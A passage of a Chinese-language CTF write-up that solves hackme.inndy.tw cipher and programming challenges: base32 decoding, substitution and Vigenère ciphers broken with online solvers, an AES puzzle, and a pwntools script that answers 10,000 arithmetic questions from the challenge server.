`IZGECR33IRXSA6LPOUQGW3TPO4QGEYLTMUZTEIDFNZRW6ZDJNZTT67I=`。 * 接著使用 base32 再解一次,得到 Flag。 * 感覺有點小通靈XD 不過 base64 套件全部試一次一樣可以得到答案。 ### #84 classic cipher 1 * 題目是 `MTHJ{CWTNXRJCUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}`,並告訴你說使用替換加密法。 * 使用[線上工具](https://www.quipqiup.com/)就得到答案了。 ### #85 classic cipher 2 * 題目是很長一串的密文,並告訴你使用 vigenere cipher。 * 我們知道 vigenere cipher 可以使用頻率分析法去破解,但不可能自己寫。 * Google `vigenere cipher online without key` 找到[線上工具](https://www.guballa.de/vigenere-solver) * 記得調整 key 的大小和語言 ### #86 easy AES * 題目給了一段 python code,簡單分析一下: 1. 要求使用者輸入明文 2. AES 加密明文,如果不等於`Good Plain Text!`就噴錯跳出 3. 如果相等,用AES解密一串神祕資料並吐成圖片。 * 我們知道 AES 是對稱式加密,我們的目標是`AES_encrypt(Plain) = "Good Plain Text!"`,反過來得到`Plain = AES_decrypt("Good Plain Text!")` * 當然不需要手動計算或輸入這個明文,直接修改 python code 讓它自動計算即可(第三行): ```python= def main(data): c = AES.new(b'Hello, World...!') plain_text = c.decrypt(b'Good Plain Text!') if c.encrypt(plain_text) != b'Good Plain Text!': print('Bad plain text') exit() c2 = AES.new(plain_text[::-1], mode=AES.MODE_CBC, IV=b'1234567887654321') decrypted = c2.decrypt(data) with open('output.jpg', 'wb') as fout: fout.write(decrypted) ``` ## Programming ### #97 fast * 題目給了一個 nc 指令,輸入後出現提示要輸入`Yes I know`,輸入後出現`10000`行題目,要在時間內回答完畢才能得到 Flag。 * 當然不可能手動計算後輸入,這邊使用 python 的 pwntools 套件來完成。 * 接收題目 -> 字串解析 -> 計算答案 -> 回傳。 * 麻煩的是我一開始也一直錯誤,後來受不了 google 了一些提示後發現: 1. 回傳時用空格隔開並一次回傳,不能用換行隔開 2. 使用 int32 範圍計算 * 這些其實我沒驗證,不過一開始偷懶直接用`sendline(eval(XXX))`的方式是失敗的。 * 以下參考用 code ```python= from pwn import * from numpy import int32 # nc the server r = remote('hackme.inndy.tw', 7707) print(r.recvline()) print(r.recvline()) print(r.recvline()) r.sendline('Yes I know') # get questions q_list = [] for i in range(10000): q_list.append(r.recvline()[:-5].split()) # compute anwsers ans = '' for q in q_list: n1, op, n2 = q if(op == b'+'): a = str(int32(int(n1)) + int32(int(n2))) elif(op == b'-'): a = str(int32(int(n1)) - int32(int(n2))) elif(op == b'*'): a = str(int32(int(n1)) * int32(int(n2))) elif(op == b'/'): a = str(int(float(n1) / float(n2))) print(a) ans += a + ' ' # return anwsers and get flag r.sendline(ans) r.interactive() ``` ###### tags: `CTF`